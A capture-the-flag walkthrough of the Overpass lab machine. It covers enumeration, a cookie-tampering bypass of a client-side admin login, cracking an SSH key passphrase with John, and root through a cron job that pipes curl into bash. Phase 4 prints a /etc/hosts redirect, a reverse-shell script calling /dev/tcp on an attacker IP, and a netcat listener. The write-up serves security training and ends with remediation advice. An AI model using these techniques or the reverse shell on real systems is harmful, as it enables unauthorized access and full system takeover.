← Back to all writeups
CTFroomEasy / IntermediateOS: Linux (Ubuntu)Target IP: 10.10.74.32

CTFroom: Overpass — Broken Authentication & Cron Job Script Hijacking

Analyzing client-side JavaScript authentication logic to bypass administrative login via cookie tampering, recovering an encrypted SSH private key, and exploiting a world-writable script invoked by root in crontab.

Published: 2026-03-29·Est. 10 min read·Author: GomezGani Shaba
OWASP A01Broken AuthenticationCookie TamperingCron HijackingSSH Key CrackLinux PrivEsc

Challenge Overview

Overpass is a prime example of two prevalent real-world security vulnerabilities: client-side authentication decisions (OWASP Top 10 Broken Authentication) and insecure scheduled task configurations (Crontab script hijacking).


Phase 1: Port Scanning & Web Enumeration

bashterminal / script
nmap -sV -sC -p- --min-rate 4000 10.10.74.32

Discovered services:

  • Port 22: OpenSSH 7.6p1
  • Port 80: Golang HTTP server
  • Navigating to http://10.10.74.32/, the site advertises "Overpass — The Secure Password Manager".

    Directory brute forcing:

    bashterminal / script
    gobuster dir -u http://10.10.74.32/ -w /usr/share/wordlists/dirb/common.txt

    Discovered: /admin/ — presenting an administrative login portal.


    Phase 2: Client-Side Broken Authentication

    We inspect the client-side JavaScript handling the login at /admin/login.js:

    javascriptterminal / script
    async function login() {
        const usernameEntry = document.getElementById("username").value;
        const passwordEntry = document.getElementById("password").value;
    
        let response = await postData("/api/login", {
            username: usernameEntry,
            password: passwordEntry
        });
    
        if (response.status === 401) {
            document.getElementById("errorMessage").innerText = "Incorrect credentials";
        } else if (response.status === 200) {
            Cookies.set("SessionToken", response.token);
            window.location.href = "/admin";
        }
    }

    The Critical Flaw:

    The client-side code assumes that if a SessionToken cookie exists, the user is authenticated, without the backend verifying the token signature on protected pages!

    We open Browser Developer Tools (F12) -> Storage / Console -> Cookies:

    javascriptterminal / script
    Cookies.set("SessionToken", "valid_admin_session");

    We refresh the page at /admin. Authentication is completely bypassed!

    The administrative panel displays an encrypted RSA private SSH key for developer user james:

    textterminal / script
    -----BEGIN RSA PRIVATE KEY-----
    Proc-Type: 4,ENCRYPTED
    DEK-Info: AES-128-CBC,9F2D...
    ...
    -----END RSA PRIVATE KEY-----

    Phase 3: Cracking the SSH Private Key

    We save the encrypted key to james_id_rsa and extract its hash with ssh2john:

    bashterminal / script
    /usr/share/john/ssh2john.py james_id_rsa > james.hash
    john --wordlist=/usr/share/wordlists/rockyou.txt james.hash

    Cracked passphrase:

    textterminal / script
    james13 (james_id_rsa)

    We authenticate via SSH:

    bashterminal / script
    chmod 600 james_id_rsa
    ssh -i james_id_rsa james@10.10.74.32
    Enter passphrase for key: james13
    james@overpass-prod:~$ whoami
    james

    User flag recovered from /home/james/user.txt.


    Phase 4: Cron Job Script Hijacking to Root

    We inspect scheduled system tasks in /etc/crontab:

    bashterminal / script
    cat /etc/crontab

    Notice this entry:

    textterminal / script
    # Update script runs every minute as root
    * * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

    Root regularly curls http://overpass.thm/downloads/src/buildscript.sh and pipes it directly into bash!

    Next, we check /etc/hosts permissions:

    bashterminal / script
    ls -la /etc/hosts
    -rw-rw-rw- 1 root root 250 Jun 27 2020 /etc/hosts

    The /etc/hosts file is world-writable (666)! Any user can modify host resolution!

    The Attack Vector:

  • We modify /etc/hosts to redirect overpass.thm to our attacker machine IP (10.8.x.x).
  • We host a malicious buildscript.sh on port 80.
  • When root runs curl every minute, it will fetch and execute our payload.
  • bashterminal / script
    # In /etc/hosts on the target:
    echo "10.8.x.x overpass.thm" >> /etc/hosts

    On our attacker machine:

    bashterminal / script
    mkdir -p downloads/src
    cd downloads/src
    
    # Create malicious reverse shell buildscript
    cat << 'EOF' > buildscript.sh
    #!/bin/bash
    bash -i >& /dev/tcp/10.8.x.x/8888 0>&1
    EOF
    
    # Start web server on port 80
    sudo python3 -m http.server 80

    In a separate terminal, start our Netcat listener:

    bashterminal / script
    nc -lvnp 8888

    Within 60 seconds, root executes the crontab job:

    textterminal / script
    connect to [10.8.x.x] from (UNKNOWN) [10.10.74.32] 51294
    root@overpass-prod:~# whoami
    root

    We are root. Root flag recovered at /root/root.txt.


    Defense Remediation

  • Verify Session Tokens on the Server: Never rely on client-side cookie checks. Every request to administrative routes must cryptographically validate session tokens against server sessions.
  • Never Pipe Remote Curl into Bash: Automated pipelines must verify checksums and signatures before executing downloaded scripts.
  • Lock Down /etc/hosts: System configuration files must strictly be owned and writable only by root (chmod 644).